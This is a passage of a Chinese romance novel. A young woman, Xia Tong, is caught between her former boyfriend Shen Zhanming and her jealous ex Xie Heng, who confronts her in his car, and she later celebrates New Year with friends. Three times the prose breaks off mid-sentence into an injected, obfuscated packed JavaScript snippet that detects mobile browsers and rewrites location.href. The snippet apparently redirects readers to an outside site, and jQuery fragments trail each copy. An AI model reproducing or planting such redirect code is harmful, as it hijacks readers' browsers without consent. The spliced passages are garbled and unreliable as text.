夏曈转头看他,有点纠结,“这好吗?你也很累吧?” 就这么一瞬的表情,沈湛明已经看出了她在做戏。她可以坚持到回家,但更想要他背。 他心里无奈,觉得不能这么快就又开始纵容她,但不知怎的,还是把汤圆的牵引绳塞到她手里,俯身道:“上来。” 夏曈得逞,压住唇角笑意,走过去趴在了他的背上。 她确实很累了,气息都不稳,还咳了声。 温热的气流扑在他后颈,夏曈的手臂揽住他的肩颈,低声道:“我没有感冒哦,只是被风呛了下。” “嗯。” 沈湛明起身,于是她像一只被海浪托起的小船,稳稳上升。 沈湛明的背部宽阔温暖,手臂线条精实有力。她俯身趴着,起初还能自己支撑着身体,并与他保持一点距离,慢慢便趴下去,下巴磕在他的后颈,歪头和汤圆说话。 她是没有骨头的,能趴着就绝不会坐。而沈湛明是绝好的肉垫,只要她需要他的双臂和怀抱,那么无论何时,他都可以稳稳托举住她。 就好像,她出生那天,沈湛明已经在长辈的教导下,学习如何抱住这个小妹妹,使她既不会摔,又可以感到舒适。 夏曈对他,有种天然的信任。 甜品店的顾客逐渐减少,沈湛明背着夏曈走近,却没有把她放下来的意图,似乎还要背她进店。 夏曈却觉得不自在,晃了晃腿,沈湛明会意,将她放下来。 拿到抹茶生巧后,夏曈没着急走,先在店里靠窗的位置坐下,尝了一小口,觉得不错,满足得眯起眼睛。 店内灯光温暖,空气里飘着奶油的香味,舒缓的音乐飘荡。 夏曈将另一只干净的小勺递给沈湛明,邀请他偶尔也补充糖分,不出意外地遭到拒绝。 抹茶很提神,她不敢吃太多,放下小勺,沈湛明负责打包。 期间,夏曈托着腮,刮开抽奖卡片,赠品是一只粉色的心形气球。 她觉得幼稚,小声嘟囔:“小孩子才喜欢这个吧。” 但当店员将气球系在纸袋上,她仍藏不住脸上的欢喜。 沈湛明看着她,慢慢勾唇。 临走时,夏曈眼珠微转,看到玻璃柜台里摆放精致的甜点,又去买了块樱花缪斯。 付款的依然是沈湛明。 两人出门,气球荡在半空,他的眉宇间尽是无奈,“吃太多甜食,牙齿会坏掉。” 夏曈心满意足地将包装袋接过,跳上他的背,笑嘻嘻反驳:“没关系,我还年轻,还有很久才会坏。” 沈湛明托着她的大腿往回走,夏曈俯身,脸颊贴在他的后颈。 纸袋上系了粉色蝴蝶结,丝绸般凉滑的质感,被晚风吹起,拂在她的手腕。 气球被风吹得荡起,亮银色的字母在灯芒中特别显眼,吸引了路过小孩子的目光。 夏曈悄悄说:“你看,我就说只有小孩才喜欢这种东西。” 沈湛明问:“那要送给她吗?” 夏曈拒绝:“不要。” 可当那小女孩的视线再度望过来时,夏曈还是将气球解开,递到了她的手里。 小女孩一脸惊喜,毛茸茸的碎发被风吹乱,笑得看不到眼睛:“谢谢姐姐!” 夏曈捏捏她的脸蛋,“不客气。” 沈湛明迈步就要离开,那小女孩看着他漠然的表情,怯生生又说了声,“谢谢哥哥。” 他怔了瞬,低声:“嗯。” 夏曈抿唇笑。 两人走出很远,她才低声问:“沈湛明,你以前轮转时,觉得哪一个科室最煎熬呢?” 沈湛明淡声:“儿科。” “理由?” “太吵。” “我就知道,”夏曈闷声笑,“小孩子总哭是不是?不过别的医生都会哄小孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469394|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开心,你就板着脸往那儿一坐,连句好听的话都不会说,哪个小孩不害怕?” 沈湛明不赞同:“你小时候就不怕我。” 还总往他身上黏。 “那是因为我从记事起就认识你呀。” 夏曈的气息吐在他耳后,带着抹茶巧克力的香甜:“如果我不认识你,也会不敢跟你说话。” 沈湛明沉默不语。 夏曈回忆道:“虽然你没有凶过我,可有时候,你面无表情的样子真的挺唬人。怪不得院里别的小孩都不敢跟你玩呢。” 沈湛明对此全无印象,淡道:“我以为是存在年龄差距。” “也有这方面因素,但主要是因为你不理他们。”夏曈想起什么,“你有段时间甚至都不理我。” 沈湛明稍微偏头:“有吗。” “有啊,读初中那会儿你就不理我了,不肯抱我,还不许我去你卧室看漫画书。” 她以前经常以学习为借口,躲到沈湛明卧室里偷看小说和漫画。 夏曈凝视他轮廓分明的侧脸,控诉道:“你忘记啦,那次我在宋叔叔家门口摔了一跤,膝盖都磕破了,你都不肯背我,非要我自己走回家。” 沈湛明记得这件事。 他看到她磕破的膝盖,当时就慌了神,忘记兄妹之间应有的距离,背她去医务室,消毒包扎。 待她又抱着他哭鼻子时,他才蓦地回神,一把将人推开。 之后,饶是她怎么撒娇恳求说痛,他都不肯背她,硬是狠心让她一步步走了回去。 沈湛明沉默一瞬:“曈曈,那时我们都多大了。” 应该保持距离了。 夏曈没说话,半晌后才问:“所以你后来那次不跟我讲话,也因为这个?” 沈湛明没回答,但夏曈已经明白了。 两人基本不吵架,沈湛明虽性子冷,但对夏曈脾气好,有耐心。饶是如此,他还是冷落过夏曈两次,并且两次都是故意的。 一次是初中,沈湛明觉得即便他和夏曈是兄妹,也不该这么亲密。 另一次就是他高考后,夏曈十五岁那年。 他参加完同学聚会,晚上十点,在家属院门口的路灯下,看到了刚下晚自习的夏曈。 星芒璀璨,少女穿着校服,发丝飞扬,看向他的眼睛很亮。 沈湛明没有喜欢过女生,但他能察觉到她的眼神里蕴含的东西。 沈湛明也不会责备夏曈的想法,他只是感到自责与无奈。 是他做了什么错误的事情,才让这个妹妹对他产生了不应有的情愫吗? 他不可能接受。 可若让他拒绝夏曈、看夏曈难过,还不如直接让他去死。 沈湛明选择冷落她。 这一冷,就是两年多。 直到夏曈高三那年,模拟考试失利,苑菲菲一通电话打到了沈湛明那里。 沈湛明在实验室心乱如麻,纠结半个小时,还是向导师请假,买了她想要的发箍,去学校看她。 那是晚饭时间,他们在一中那条开满苦楝花的林荫道里散步,夏曈戴上发箍,忽然转身,抱着他的脖子吻住他,小声说:我不要你可怜我,也不要你安慰我。 她抬起眼,唇瓣上有一个她自己咬出来的牙印。她很紧张,连声音都在颤抖。 沈湛明,我要你喜欢我。 她连告白都这么不容抗拒。可是沈湛明看着她脸上的紧张神色,一瞬间什么都不想顾忌了。 她自小娇纵又霸道,只因为喜欢他,便变得这么胆怯。她已经坚持了两年,他是混蛋吗,到底还要让她冷静多久? 沈湛明低眸,将她抱在怀里,说好。 答应她的瞬间,他自己也松了口气。 也许他早在那个星月璀璨的晚上,就对她动了心。 只是他不敢承认。 - 街道上依然很热闹,但他们都没再说话。 夏曈犯困,在他后领处嗅到干燥温暖的气息,混着一点淡淡的黑琥珀味道,令人心安。 她将脸埋在那块衣料,静悄悄地呼吸。 他的气息侵入她的肺腑。 而他的衣领也染上她唇腔里的巧克力香。 夏曈莫名想到什么,弯唇笑了。 习惯真是个很可怕的东西。 她用了将近一年的时间,才适应与沈湛明分开的生活。 而她与沈湛明的生活再次相融,甚至此刻俯身在他背上,安心得犯困,只用了一天。 快到小区的时候,夏曈察觉到沈湛明顿住步伐,疑惑抬头,“怎么了?” 沈湛明不语,转头看向某个方向。 他并未皱眉,神情平淡,堪称冷漠。 夏曈却很清楚,他对事物厌烦到极点时,便会露出这副表情。 她沿着他视线看去,小区对面林荫道下,停着一辆黑色轿车,车灯开着,光束照亮前方一段道路。 谢桁倚靠在车身。 他抱着手臂,视线穿过夜色,直直地望过来。 32. 第 32 章 离得太远,光线又暗,夏曈看不清他的表情。但通过他的防御性姿势,可以判断,谢桁此时很生气。 她晃了晃腿,从沈湛明背上跳下来。 被前男友看到和前前男友一起遛狗,多少有些尴尬。夏曈不是害怕冲突的人,她只觉得疲倦。 谢桁很会示弱,也许她又要面对他的眼泪和撒娇。 她不是不会哄。 但她也会累。 沈湛明不知何时已经收回目光,从她手里接过甜品袋和汤圆的牵引绳,淡声问:“十分钟,够不够?” 夏曈抬眸看他。 “现在是九点四十。待会还要收拾汤圆的行李,所以我只能等你十分钟,”沈湛明语气平静,“等不到,我就会离开。” 夏曈眨眼:“好。” 沈湛明带着汤圆走到林荫道下的木椅边,在夏曈转身的前一秒,又低声补充:“过马路时注意安全。” 夏曈身形微顿,“好。” - 谢桁站在车前,高大的身影隐匿在树枝投射的阴影里,让人看不清表情。 这段路灯不怎么亮,夏曈走近了,才看清他脸上显而易见的憔悴和愤怒。 谢桁瘦了。 他的目光始终凝在夏曈脸上,在她靠近的瞬间,蓦地出手,握住她的手腕,将她塞进车里。 车厢晦暗,谢桁将大灯关闭,外部光源熄灭,周遭彻底陷入黑暗。夏曈尚未反应,脸前感知到灼热的气息,是谢桁压了过来。 她睁大眼,本能地抬手推拒:“谢桁!” 谢桁根本没想过对她动粗,因此只用了三分力,脸被她推得向旁偏移,那个吻落在她的侧颊。 夏曈抵在他胸膛的手向上攀,抓住他整洁的衣领,低声道:“我们已经分手了。” 黑暗中,谁也看不清彼此的表情。 唯有车外黯淡的光芒透进来,让谢桁得以窥见她冷静而清明的眼神。 谢桁凝视着她,灼热的吐息急促,倾洒在她脸上。 “姐姐……” 夏曈攥住他衣领的手微松,犹疑着继续往上,扶住他的脸。 她的手心柔软,曾无数次抚摸过他的侧脸和黑发,此刻贴在他的脸上,谢桁蓦地气息急促,一时之间气愤与委屈交织,他低头,脑袋埋在她的脖颈。 “你好重……” 夏曈被他压得快要陷进座椅里,险些喘不过气,她摸摸他的脑袋,带着安抚的意味,却不再有以往的柔情。 谢桁半点都不收力,像是要钻进她怀里。 夏曈想了想,旧话重提:“该说的话,我都在微信上跟你说清楚了。谢桁,不要恋爱脑,没有什么事比你的前途和未来更重要。” 谢桁手臂收紧,抱住她的腰,如从前那样,脑袋在她颈窝拱蹭着。凌乱的黑发为他脸上痛苦神情更增添一份脆弱,他的声音发哑:“夏曈,你不能这样……你不能这样对我……” 不能轻易抛弃他,不能狠心让他一个人在国外。 不能在他最爱她的时候,就提出分手。 可是谢桁又能怎么要求夏曈呢? 谢桁也知道自己的诉求并不成立,他想让她抛下一切,跟他出国,再去外地子公司磨炼。 无论何时,都能永远陪在他身边。 但夏曈不是他的挂件。 她拥有自由选择的权利,也拥有狠心抛弃他的权利。 夏曈无言,只揉揉他的脸,算作安慰。 谢桁不甘心。 他紧紧抱着夏曈,脸颊贴着她的侧颈,“你和他复合了吗?” 夏曈很想和他保持距离,可他八爪鱼一样缠着她,完全挣脱不开,叹息道:“谁?” “还有谁,当然是沈医生。” 谢桁忍着气愤与醋意,闷声道,“姐姐,你身上有男士须后水的味道,是刚才和他接吻了吗?” 夏曈拧眉:“当然没有,别瞎讲。” 谢桁声线低颤:“噢,那也一定和他拥抱过。” ……算是。 夏曈没出声。 谢桁低笑声,眼珠却湿润着,抬眸看她:“他就这么好吗?你们都分手多久了,你还没办法忘记他吗?为什么非要和他在一起。” 夏曈性情坦荡,不代表她会容忍谢桁的反复纠缠,以及此刻并无立场的质问,“这与你无关,谢桁。” “是,与我无关,”谢桁抿唇,喉结滚动着,终是忍不住道,“可如果没有他,我们根本不会分手!” 他情绪蓦地激动,夏曈不想看他这样,便摸他的脑袋,惯性地给他顺毛,尽量平静开口,“谢桁,我们分手,是因为我们的人生方向本就不一致。与沈湛明无关,你不要迁怒。” 谢桁注视她半晌,见她表情坦然,眼神清明,不由气笑,“姐姐,看来你是真的什么都不知道啊。” 夏曈眨眼:“什么。” 谢桁抿唇看她,情绪上来,还不忘耍赖,薄唇凑近她的脸,“你亲我一下,我就告诉你。” 无理取闹。 夏曈没说话,也不动,谢桁催她:“你快亲亲我,我就什么都跟你说,也不生气了,好不好?” 夏曈无奈:“你不说也无所谓,我没有很想知道。” 谢桁气死了,偏又不能把她怎么样,咬牙道:“沈湛明的小姑是岚乔大股东,姐姐和他认识这么久,居然不知道吗?” 夏曈当然知道,“这与我们分手有什么关系吗?” 谢桁抬手,虎口钳住她的肩,肃声告诉她:“我小姨住院期间,沈湛明就与她谈过好几次,要把我安排去国外。我不知道他用了什么手段,才让我小姨这么认同他的观点,但他的动机肯定不纯粹,他会为了我好吗?他只想让我离开你。” 夏曈听得皱眉:“这都什么跟什么。” “至于他小姑,那是个连我妈都不敢得罪的狠角色。谁知道她会不会为了维护沈医生,与其他股东达成共识,逼着我妈把我赶走,只为了什么狗屁的、名正言顺?岚乔资本从一开始就该有我的位置,用得着这么大费周章?说到底,还不是为了让我离开你?只有我走了,他才有机会上位!” 夏曈对他的措辞感到不悦,“什么上位不上位的……” “姐姐现在还觉得他很无辜吗?”谢桁冷笑,“他才不是你的好哥哥,他手段脏得很,他蓄谋很久了!” 夏曈转头看向车外,“他没这么心机,谢桁,你多想了。” “你不信?”谢桁冷然挑眉,“那是他在你面前装得太好了,你比他小这么多岁,有些脏事,他即便做了,也不会告诉你。” 夏曈被他箍得喘不过气,更不想说什么。 谢桁低头观察她的表情,就知道她对这些事不太相信。 他的姐姐,怎么这么单纯呢? 谢桁轻笑声,摸出手机,划了几下,举到她脸前。 夏曈抬眸。 屏幕上是一张合照,五六个青少年站在草坪上,身后是繁荫的绿树,白云与蓝天,前面则趴着只蓬松可爱的阿拉斯加犬。 谢桁指着其中一人:“眼熟吗?” 当然眼熟。夏曈认出,这是十七岁的沈湛明。 他穿着简单的衬衫和长裤,唇红齿白,隽逸英朗,并没有看镜头,而是视线往左,仿佛在出神。 谢桁又指了中间的小男孩,一字一顿道:“姐姐,这个是我。” 夏曈默然。 那小男孩咧着嘴笑,一头棕发蓬松蜷曲,瓷白皮肤在阳光下泛着一层光,依稀能从眉眼轮廓认出,他就是谢桁。 谢桁又指了旁边神情淡然的高大男生,“这是我表哥,谢榆。” “你们早就认识,”夏曈歪头问,“所以呢。” “姐姐,你还记得当初那家传媒公司怎么倒的吗?” 夏曈一怔,“什么传媒公司?” 谢桁低声,“被岚乔搞垮的那个新桨传媒,他们董事的儿子,以前买水军给你造谣。” 夏曈垂睫,手指在黑暗里已经攥紧,“你到底想说什么。” “搞垮新桨并不在岚乔的计划内。这件事,就是我和沈湛明一起做的。” 谢桁道,“沈湛明是个心思深沉的人,姐姐,你觉得他正经稳重,只不过因为他没有把另外一面展现给你看。” “而我的全部,你都一清二楚。” 他的声音低沉又温柔,带着莫名的蛊惑性。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469395|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 夏曈偏了下头,阻止他不断逼近。 可谢桁仿佛铆足了劲要亲到她,夏曈抬手捂住嘴,他就拿开她的手,夏曈扭头抗拒,他就低头蹭她的脸。 他也不想惹恼夏曈,夏曈不点头同意,他就没敢真的亲上去,而是把她的手指放在嘴里,一下一下地咬。 “属狗的?”夏曈心累,“好了,这些事我都知道了,你松开我好吗?” 谢桁蓦地笑了声,“不对,还有一件事,姐姐还不知道。” 夏曈阖上眼,“别说了。” 谢桁低头,握住她纤细的手腕,“我十六岁时,在沈湛明的手机屏保上见到过姐姐的照片。” 夏曈眼睫微颤。 “我当时只知道沈湛明有个比她小的女朋友,却不知道是谁。直到那次,我坐车经过商场时,见到你们站在路边的公交站牌下躲雨,他把你抱在怀里,俯身吻你的额头。” 他从没见过沈湛明会对人露出那副温柔又纵容的表情,吓得他当场起了一胳膊的鸡皮疙瘩。 谢桁轻声道:“我是在那时认识你的。我们的初见,根本不是在F大的校园。” “早在你还不认识我是谁的时候,我就已经开始喜欢你了,姐姐。” 夏曈算了下时间,睁大双眼:“那时我和沈湛明还在一起,你……” 谢桁捉住她的手,“我不在乎你和谁在一起,你只要心里有我就好。从这方面来讲,我比沈湛明更大度。我更合适,不是吗?” 夏曈无论如何不能接受这种事,她用力抽回自己的手,“我们观点有分歧……” 谢桁立刻问:“哪里有分歧?我觉得没有任何分歧。” 夏曈下意识回避这个问题,她觉得跟谢桁是掰扯不清的,于是尽量心平气和地安抚道:“谢桁,没有人规定与谁恋爱,就一定要和他白头偕老,相处磨合的过程中,发现彼此不合适,当然可以分开。谢桁,我很感谢你陪伴我度过那一段时光,你也真的很好,我不后悔和你恋爱……” 谢桁皱眉打断:“我才不想听这个!” 夏曈什么脾气?今晚耐着性子哄他几次已经是惯着他了,此刻三番五次被他打断,她也恼火:“我只会说这个,你不想听就放开我,我也没有别的话想要对你说。” 谢桁气得糊涂,“别的一个字都没有吗?你不能再哄我一下吗?你说舍不得我、说以后会想我,这也不行吗?我都要走了,你这样对我。” 夏曈冷声道:“我们现在是可以说这些的关系吗?” 谢桁反问:“我们不是,那你和沈湛明就是了吗?” 夏曈听见这话,当即一股火窜到心口,烧得她浑身发躁。 这小子从前被她哄着,还懂得收敛,知道什么话该说什么话不该。现在少爷脾气上来,越发不可理喻,简直胡搅蛮缠。 她待不下去,冷声道:“我想说的话,早在信息里都告诉你了。谢桁,你的所有联系方式我都会删掉,过了今晚我们什么关系都没有。一个人在外照顾好自己,祝你以后找到爱你关心你的人,我会祝你们幸福。就这样。” 话音落,夏曈甩开他的手,迅速开门下车。 谢桁猝不及防被甩了下,手背微痛,他怔了瞬,还没来得及反应,夏曈已经下车。 一股愤怒又恐慌的情绪充斥胸膛,谢桁牙关紧咬,从另一侧开门下车。 车道上有车行驶而过,夏曈被迫顿住步伐,等再次迈步离开时,谢桁出声唤住她的名字:“夏曈!” 他难得这么连名带姓地唤她。 夏曈没有回头,听到谢桁在她身后,一字一句地清晰道:“你们可以分手第一次,就可以分手第二次。我还年轻,我可以等。” “夏曈,过不了几年我就会回来。到时,我不介意做你在外面的情人。” 他的声音低沉动听,在晚风里有种蛊惑人心的疯狂。 夏曈听得头皮发麻。 “谢桁,你现在情绪上头,想法不理智,刚才那些话我就当没听到。不早了,你走吧。” 谢桁低笑反问:“我有不理智吗?” 夏曈闭了闭眼。 她连头都不敢回,加快步伐,逃一般地离开。 33. 第 33 章 沈湛明第三次低头看时间,十点零六分。 他微微皱眉。 今晚这场见面本不应该发生,他认为谢桁至少要懂得,作为前男友,他不可以再和夏曈见面。 可他的曈曈,不仅他捧在手心,别的男人也喜欢。 沈湛明无法阻止其他人被她身上的光芒吸引。 但这个人是谢桁。 除了某些特定场合,沈湛明与谢桁基本没见过几次面,因此对他的印象不多。 沈湛明认为的谢桁,就是一个被宠溺坏了的小孩子,想要什么就一定要得到。即便得不到,也哭闹着要,哭得所有人都去哄他,才肯消停。 沈湛明遇到这种情况,只淡淡皱眉,避而远之。 他觉得谢桁这种争夺注意力的行为很幼稚,也很可笑。 他面上不露,实则很烦谢桁,觉得这小孩像是老式生日蛋糕赠送的莲花状玩具,吵得要死,也关不掉,必须掐断那根电线才肯还人清净。 沈湛明情绪很淡,却有恒久的忍耐力。 他唯一不喜欢的,就是吵闹。 而当夏曈在他耳边撒娇的时候,沈湛明又心软,想吻住她,觉得她蛮不讲理的样子也可爱,再多闹一些也没什么。 当得知夏曈和谢桁在一起时,沈湛明的第一反应是愠怒,之后便是心疼。 他的乖乖,就应该被他捧在手心。 而不可以和谢桁这种患有多动症和撒娇病的人在一起。 夏曈看似霸道又任性,实则具有很好的性格底色。 她什么都懂,但同时也最敏感,她抵触这个社会的某些规则,反感社交的虚伪与无奈。在褪去防备的外壳后,她只想做回一个小孩子,被他抱起来哄。 而谢桁是被宠坏的大号儿童。 他们在一起,好时自然无限欢乐,但若发生争执或矛盾,让步、妥协的一定是夏曈。 沈湛明曾经也想过,他、他的父母,她的家里人,是否都太惯着她了。 她的性子,在充满人情味的家属院很吃得开,那里的人都有温情与爱。但并不适合这个病态的、充满戾气的社会,这里没有人会无缘无故善待她。而她要步入这个环境,就必须收敛脾气,磨平棱角,将自己打磨得毫无特色,再挤进那个只需要服从和奉献的格子间。 沈湛明什么都清楚。 可他舍不得。 至少在感情方面,他看不得她受到一丁点委屈。 他并不贪心,可是对于夏曈,他不仅希望她健康快乐,还想保护好她身上的一切特质。 打磨精致的珠宝很漂亮,可他只爱她的浑然天成。 沈湛明抬手揉了揉鼻梁。 等到第十六分钟,夏曈终于从谢桁的车上下来。 她的步伐很快,唇抿着,黑眼珠在并不明亮的灯光投射下,泛出愤怒的光芒。 沈湛明皱眉,看她走近,不知和谢桁之间发生了什么,竟气得像只头顶冒烟的小牛。 夏曈走到沈湛明身前,仰起脸,一个字没说。 沈湛明开口:“曈……” 夏曈紧抿着唇,往他胸膛用力撞了下,转身就走。 沈湛明被她撞得后退半步,还欣慰她倒是有把子力气,真跟小牛一样。 随后才牵着汤圆追上去,握住她手臂,“曈曈,怎么了?” 夏曈心里憋着气,不理他。 沈湛明又问了一次,她仍不答。 后面有外卖车经过,他护住她,往道路内侧走了走,思索片刻,回忆方才她投来的怀疑、震惊的目光,明白过来。 “我和谢桁的确认识,但不熟,只每年的聚餐见一面。我之所以认识他,是因为姑姑是股东。” 实则,沈湛明和他小姑也甚少见面。他小姑已经定居南城,偶尔才回葳市。 夏曈上次见到这个雷厉风行的女人,还是在初中。 沈湛明拥住她,“曈曈,如果你介意的是这个。” 刚才身后过车,他下意识将手臂揽在她腰,随后便非常自然地定在那里,不再离开。 此时从他们身后看,两人姿态亲密且自然。 男人一手拥着她,一手牵着狗绳、提着甜品纸袋。那女孩子侧头看他,脸颊气鼓鼓的,却没真的生气,脸上神情生动又俏丽,与热恋期情侣没有任何区别。 夏曈并没在意到他的掌心在她腰间。 他们之间再亲密的事也做过了,她早已习惯。 此时她只是纳闷,分明沈湛明和谢桁都在瞒她,她却只对沈湛明一个人不满。 夏曈还有些沉浸在谢桁的话里,她有点被吓到,于是想说点什么,转移注意力,“你为什么不早告诉我?” 沈湛明低低道:“我和他真的不熟,基本不会见面。那次在电梯口,我其实没有认出他来。是谢家小姨住院时跟我提起他,我才想起他是谁。” 夏曈抬眸看他。 沈湛明不喜欢吵闹和麻烦,而谢桁最爱热闹,也许他们当初短暂的相处并不愉快。 所以,沈湛明才会在提到他时,略微皱眉。 可令夏曈感到讶异的是,沈湛明居然在认出谢桁没多久,就能和谢家小姨达成共识,把谢桁送出国。 他竟然从那时就蓄谋拆散他们。 夏曈扭头看向沈湛明,目光讶异,仿佛第一次认识他。 沈湛明还不知道她的脑瓜里在想什么,“他惹你生气了吗?” 夏曈摇头,她对谢桁没什么特别愤怒的情绪,即便有,也是在车上时,对他的蛮不讲理感到气闷,过了这么几分钟,已经烟消云散。 她不是很大度的人,她想,也许只是因为她真的没那么在意谢桁。 夏曈垂下眼睫,心里叹了一口气。 沈湛明从问出那个问题时,便一瞬不转凝视她的脸。 此刻见她神情发怔,甚至有落寞的意味,他薄唇微抿,移开目光。 “这次彻底断干净了吗?” 夏曈回过神,听到他淡声发问。 她忽地意识到,他还拥着她,于是伸手去推,同时应道:“嗯。” 沈湛明的手被她推了下来,掌心蓦地一空,感知不到她身体的温度。 他微微皱眉,旋即听到她的回答,便也没再强求。 “不是说只等我十分钟吗?” 夏曈看了眼时间,现在已经超过十分钟很久了。 沈湛明面不改色道:“没有带手表,没办法看时间。” 夏曈疑惑,伸手去掏他裤袋里的手机。 他们恋爱时,夏曈就喜欢拿着手机到处拍照,可是她的相册里已经存在上千张风格相似的照片。于是两人有时散步到中途,夏曈就拿沈湛明的手机去拍。 沈湛明的手机相册里,密密麻麻的资料图和工作照中,经常会冒出树梢的喜鹊、雨天的水坑、夜晚的流浪猫、以及夏曈的怼脸自拍。 让他在工作间隙,偶尔会出现片刻的晃神。 此时夏曈也完全是习惯使然。 两人走在人工湖旁的小路上,光线昏暗,她的手指划过他的腰间皮带往下,抓了两把,没有摸到裤袋入口,却触碰到他腿部结实的肌肉。 沈湛明体温偏高,皮肤热度隔着一层裤料传递到夏曈手心。 她手腕蓦地一紧,是被沈湛明攥住,制止了她再试图作乱的动作。彼此都顿住步伐,夏曈吃痛抬头,路灯穿过树梢,幽幽的影子投射在他的侧脸。 夏曈神情坦然:“我没想摸哪里,只是想说你带了手机,可以看时间。” 沈湛明凝视着她,眸光冷静而深。 他缓慢开口,却将话题引到了另一个方向:“这里有人。” 夏曈轻轻扬眉,所以呢? 沈湛明没再说话,攥着她腕骨的手往下,温热宽厚的掌心不容抗拒地握住她的手。 “你想摸就摸,”沈湛明牵着她往家走去,“但要注意场合。” 夏曈低眸看向两人相握的手,稍微蹙眉。 什么嘛。 - 回到葳市那天晚上,夏曈就和小伙伴们嗨疯了。 临近过年,一行人沿着商业街吃吃喝喝,曹欣纠结半天,还是换了个美甲款式,黑银粉的清透小花,夏曈等人非常配合地夸赞不停,把美甲师都逗笑了。 之后程萱提议去海边拍照,今天天气好,阳光普照,海风不那么烈,直到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469396|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日落时分都很适合散步。 她们带了零食过去,像读书时那样在覆雪的沙滩上写字,冷得手指发僵,也依然很开心。 天色黑下来,夏曈被海风吹得脑袋都木了,碎发扑了满脸,忍不住翻了个白眼。这个瞬间被曹欣抓拍到,刘淑智凑过去看,两人笑了半分钟,然后点评她这张照片可以当做表情包。 吴冉听了立刻行动,制作成表情包发在名为【富婆之家】的群里。之后为了表示公平,群里每个人都发了自己丑照做成表情包,一行人盯着手机笑得停不下来。连海边散步的大爷大妈都忍不住投来目光。 曹欣吸了吸鼻子,问她:“哎,曈曈,你真不考虑转行当演员来着?你挺有表演天赋啊。” 夏曈勾住她的脖子,“夸我还是损我?” 曹欣嘿嘿直笑。 吴冉插了句:“自己开工作室也挺好啊,当什么演员,受那罪。” 夏曈其实早就在筹备了,但没告诉她们。她做事一定要做出眉目才肯宣布,不然她会觉得有压力,而且万一失败了也会丢脸。 此时她的手机响起,杜静兰女士打来视频电话,催这群孩子赶紧回去吃饭,爸妈们都在家等着。 夏曈一个字都没来得及说,旁边曹欣、程萱她们挤过来争抢镜头,你一言我一语,说相声一样,把杜静兰哄得心花怒放。 夏曈在冷风里举着手机,连视频那边什么情况都没看到,只隐约听见家里很热闹,笑声没停过。电视机里播放着拜年的节目,夏屹山喊着让夏曈快回去,他买的果汁都打开了,她再不回去就要喂给她的小猫喝。 还当她是小孩呢。 夏曈抬手推开李然的脸,但还是没能在屏幕里露脸,勉强喊了声:“知道啦!” 这么一张嘴,还吃了吴冉的一缕发丝。 此时,曹欣忽然叫道:“杜阿姨,那是不是湛明哥在掌勺哪!快快!你们几个起开!给我们夏曈曈让镜头。” 李然和程萱十分默契地闪到了一边。 夏曈刚要抬手把头发拂开,被曹欣揽住脖颈,手机屏幕忽然凑近,她欲哭无泪,看着屏幕里正炒菜的沈湛明。 沈湛明抬眸看她,眼里闪过笑意,“什么时候回来?” 即便她此刻正被曹欣锁喉,还要强撑着说:“马上、马上就回去了。” 沈湛明颔首:“嗯,好。” 曹欣满意地笑了。 一行人纷纷跟杜静兰说拜拜。李然离屏幕最近,伸手按下挂断键。 夏曈累死了:“这好像是我的手机诶……” 吴冉啧啧道:“哇,有个会做饭的男朋友真是好诶。” 程萱附议:“这个男朋友还这么帅。” 刘淑智捧着脸颊开磕:“不知道是谁这么好运气……” 曹欣边低头打车,边微笑叹息:“可惜了呀,我们是没有这个口福了。” 孟瑶揽着夏曈,“如果有人邀请我们过去就好了。” 刘淑智笑:“其实我妈给杜阿姨准备了新年礼物,待会我可以去送。” 孟瑶怒道:“我妈上午已经给杜阿姨送好了,我恨!” “我家也送过了,”曹欣微笑,“不过没关系,如果有人邀请我们去吃东西,也是可以的哦!你说对吧夏曈曈?” 夏曈无奈笑道:“晚上来找我,我们去楼下放烟花。” “好耶!”程萱想起什么,“今年能放么?咱们买点仙女棒得了。” 李然无所谓:“害,真放起来谁会管啊。我看崔源他们买了好几箱子烟花呢,说要去百福河那里放。院里有年纪大的,心脏不好,怕惊着他们。” 百福河是划定的、可以燃放烟花爆竹的区域,每年都聚集很多人,铁树银花,平水斑斓。 曹欣懒得出门:“好远呢,不去。就在咱们楼下放俩仙女棒和开心果吧。” 程萱同意:“就是,我还要看春晚。” 夏曈看她:“真的假的?” “真的,”程萱一脸认真,“我每年都认真观摩,并书写观后感。” 吴冉道:“哦,去年演的什么?” “……”程萱眨眨眼,“哎,咱们的车什么时候到啊?” 34. 第 34 章 晚上六点半,一行人回到家。 冬日的夜晚寒意刺骨,但氛围热闹,院里各处布置得张灯结彩,红梅在枝头 夏曈和众人暂别,抱着满怀的零食和小玩意狂奔上楼,气喘吁吁刚一开门,迎面就被汤圆扑了满怀。 